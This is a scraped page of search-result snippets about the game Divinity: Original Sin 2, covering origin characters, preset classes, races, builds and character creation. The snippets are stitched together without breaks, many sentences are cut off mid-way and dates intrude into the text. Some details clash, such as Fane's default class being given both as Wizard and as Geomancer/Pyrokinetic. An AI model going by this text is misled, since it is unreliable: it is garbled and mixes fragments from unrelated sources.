sequel to Divinity: Original Sin: an isometric, single-player or multiplayer fantasy RPG with tactical turn-based combat.  The classes are chosen at the character creation, when recruiting origin companion and when hiring mercenaries May 26, 2024 · Among setups in Divinity Original Sin 2 gameplay, the Elf Wayfarer is a recommended build as it takes advantage of the versatility of the Wayfarer and the Elf&rsquo;s access to more actions per turn Oct 25, 2021 · RELATED: Things That Make No Sense In Divinity: Original Sin 2.  The community is for the discussion of Divinity: Original Sin 2 and other games by Larian Studios so hit me with why you think x origin character should be x class.  A Build can be achieved by following specific Classes, Races, Skills, Attributes, Weapons, Armor, and other combinations that will help players achieve their desired character.  Red Prince as a Summoner Beast as a 2 hander or some sort of tank This focuses heavily on physical damage and it's normally best to focus on one but in a pinch the necromancer will have int and some other magic skills, archer will have elemental arrows and summoner can just summon on an elemental terrain so are all capable of hitting magic Inquisitor is a preset class in Divinity: Original Sin II.  Jul 31, 2022 · Ifan Ben-Mezd is an Origin or Companion in Divinity: Original Sin 2.  The earlier you get your companions the fewer points are preallocated.  During this customization, many aspects of the classes can be altered - both gameplay choices (Attributes, Abilities, etc) and cosmetic choices (gender, skin color, hair style, portrait icon, etc).  Don't forget that you can edit all skill and attribute points in the character creation screen, editing the &quot;classes&quot; that the game shows to your heart's content.  Players see this unfold when they make their own characters in the story.  Shackles of Pain has essentially become a nuke button/way to convert previously non damaging healing spells like restoration and first aid into damage sources that only cost 1 ap bc you can cast them on yourself, and teammates can also leverage Oct 29, 2023 · An Origin Character is a type of pre-made character in Divinity: Original Sin 2.  Dec 7, 2023 · Builds for Divinity: Orginal Sin 2 are character customizations and various combinations that focus on a playstyle and theme.  Oct 20, 2017 · Fane Build 1.  They're all great, the only two points I would make are: don't bring Fane for your first playthrough.  If you really want to min-max, then restarting would be the best option - but if you're playing on Explorer mode, or don't mind waiting to level up and put points in things you're more interested in, then you can just continue and have your character grow in a different direction.  Its tactical combat requires a lot of math and theory-crafting on the player's part.  Jul 15, 2023 · I think we've also heard that we can respec our PC from level 0, but to me that doesn't imply that we can change the class of origin characters we are playing as I don't think (I could be wrong) that we could do that in character creation. &quot; Talents Hothead: At maximum Vitality, gain +10% Critical Chance and +10% Accuracy Feb 21, 2022 · Important For Character Creation When changing the race of playable characters, such as the Origin characters, you need to add some Info outside the Editor.  These are generic custom characters who don't have any influence on plot or questlines, and have no special dialogue options.  &quot;Divinity: Original Sin 2 is a single- and multiplayer top-down, party-based role-playing game with pen &amp; paper RPG-like levels of freedom May 1, 2024 · Talents in Divinity Original Sin 2 are passive abilities that can change player Characters in subtle or drastic ways.  Fane's default class is Wizard.  You do run across some dead orcs but no imps in this game.  In Original Sin 2, this Character serves as the player's &quot;avatar&quot; in the world of Rivellon.  Starting Skills Blood Sucker: Target absorbs blood surfaces around them, restoring Vitality Divinity: Original Sin 2 is the sequel to the critically acclaimed Divinity: Original Sin, winner of over 150 Game of the Year awards and nominations. &quot; [1] Larian Studios launched a crowdfunding campaign on Kickstarter on 26 August 2015, which Sep 5, 2023 · Part 2: What is your companions starting class? Preallocated points, 3 spells and their starting weapon(s).  For that matter, it can have a steep learning curve especially for those who aren't used to tactical turn-based RPGs.  One of the reasons why Divinity: Original Sin 2 is one of Larian Studio's best games is because of the fantastic characters you can play as.  The two races missing are imps and orcs. There are tons of moving parts, and when creating a character, it's easy to look through all of the options and be unsure as to which one to pick.  The community is for the discussion of Divinity: Original Sin 2 and other games by Larian Studios all classes for all characters have changed with the exception Jan 24, 2023 · Divinity Original Sin 2 Abilities.  Aug 4, 2023 · Divinity: Original Sin 2 is quite likely, as close to playing Dungeons &amp; Dragons in video game form as you can get, barring Baldur's Gate.  Character Creation Guide Other than that I'd say 2 things: On your first playthrough go blind and go with the skills that you like the most.  Origin Story &quot;I used to be a slave, kept under the thumb of the Master: the bastard that made me hunt down my own kin.  Oct 3, 2017 · Attributes.  Dec 9, 2022 · Classes play a pivotal role in Divinity: Original Sin 2.  The adaptability of this class cannot be understated, and having a full four-person team of all Conjurers is a profoundly powerful force who can coordinate their tactics, and even launch brute-force frontal assaults against squads that other classes would normally try to avoid.  Some abilities are individually stronger than others, some work best when combined with other schools, and some require excellent foresight and tactical awareness.  From character creation to storylines, there&rsquo;s always something new to discover.  The voice that rings inside me now is darker than any that came before.  You can still individualize appearance, starting class, talents, and attributes like a custom class but you won't be able to customize tags.  Also Thane undead Geomancer/Aerotheurge is godly.  You can create a custom character or play one of six unique characters, all with intricate backstories and personalities.  Open your mods folder, commonly &quot;C:&#92;Program Files&#92;Steam&#92;steamapps&#92;common&#92;Divinity Original Sin 2&#92;DefEd&#92;Data&#92;Mods&quot; and open the &quot;DivinityOrigins&quot; folder.  Jul 31, 2022 · Sebille is a Companion or Origin in Divinity: Original Sin 2.  It is a ranged class with access to poison and earth If you make an original character and talk to them they will say their &ldquo;natural&rdquo; class before mentioned that they could do anything really.  They are easily idenfified by their sharp ears, broken English, and long limbs.  See full list on gamerant.  Oct 22, 2017 · Lohse is an Origin or Companion in Divinity: Original Sin 2.  Fane is an undead.  But I have a secret: I'm also a playground for sprites and spirits and worse.  Origin Story &quot;All my life I've been a performer, a musician; beloved and celebrated by all.  I arrived too late.  For information about creatures and animals in the game refer to creatures.  Melee characters also get a grenade.  You can choose an Origin Character that you want to play during Character Creation.  I pledged my life to Lucian the Divine.  Mar 7, 2022 · While you can create your own from scratch, there are pre-built Divinity: Original Sin 2 classes you can choose between &ndash; alongside setting your race, character background, and what more.  There are 5 different Races and 14 different Classes, you can also alter the apperance of your character by click customize button.  May 22, 2021 · Divinity: Original Sin 2 is the sequel to the critically acclaimed Divinity: Original Sin, winner of over 150 Game of the Year awards and nominations. com Mar 31, 2024 · The Wayfarer is a class unique to Divinity: Original Sin 2 and serves as a kind of fusion between a Ranger, Geomancer, and wayward traveler. With tons of classes, races, skills, and abilities, the game really gives you the option to build the character and the four-person party in your dreams.  I can&rsquo;t recall what they other two characters prefer The classes, commonly refered to as class builds, are specialisations of the companions and the player character in Divinity: Original Sin 2.  Sebille's default class is Rogue.  Might have that last one wrong though.  However after Lady Vengeance departs the Godwoken that are not part of Sep 3, 2022 · As with any RPG, a journey of a thousand miles starts with Character Creation.  Dec 22, 2022 · Divinity Original Sin 2 Character Information includes links to attributes (stats), status effects and Origin.  His past deeds turn out to be Apr 22, 2022 · Games; Strategy; Divinity: Original Sin 2; Divinity: Original Sin 2 Builds: combine the right skills to make the perfect build for your character Companions are characters which may accompany the main player character in Divinity: Original Sin 2. When starting the game, the player will create a character with different Origin and type.  Players aren&rsquo;t limited to a skill tree or two when building characters.  Nov 7, 2020 · Divinity: Original Sin 2 facilitates near-endless player creativity in its open system of character class building.  Works offline and as standalone app on mobile phones that support PWAs.  Imps are in dragon commander which actually helps in expanding the lore.  By default Fane is a Geomancer/Pyrokinetic.  You will choose your Sep 16, 2017 · I'm kinda curious what the default classes are for the premade characters and how each would play if I decided to play them Far as I can Red Prince equals fighter with Imhan being a ranger but I could be wrong and I have no idea what the rest could be Sep 18, 2017 · Ok so since I'm weird I'd like all my origin characters of my party to be their prefered class.  Origin Story &quot;Oh, don't stare.  Origin Story &quot;Once, I was a crusader for the Divine Order.  Aug 23, 2022 · Divinity: Original Sin 2 facilitates near-endless player creativity in its open system of character class building.  Fort Joy The Hold.  Jan 15, 2018 · Metamorph is a very adaptive class that specializes in controlling the battlefield from the frontlines.  Supports parties up to 4 characters.  While a character's build can be further customized as they level up, players shouldn't expect to level up too many times throughout a playthrough.  The central theme of the game is &quot;your origins affect who you are and what chances you get in life.  May 3, 2019 · Divinity: Original Sin 2 can be a delightfully complicated game.  I am running Lone Wolf on Fane and my own character and going one magic, and one physical has helped me defeat so many encounters where 2 mobs had outregous armor/low magic, and 2 others had vice versa.  Divinity Original Sin 2 has 6 Origins, 14 Classes and 5 Races.  The easiest way to check what mix of skill classes a character has is by looking at their character sheet and seeing where you invested points.  Ifan's default class is Wayfarer.  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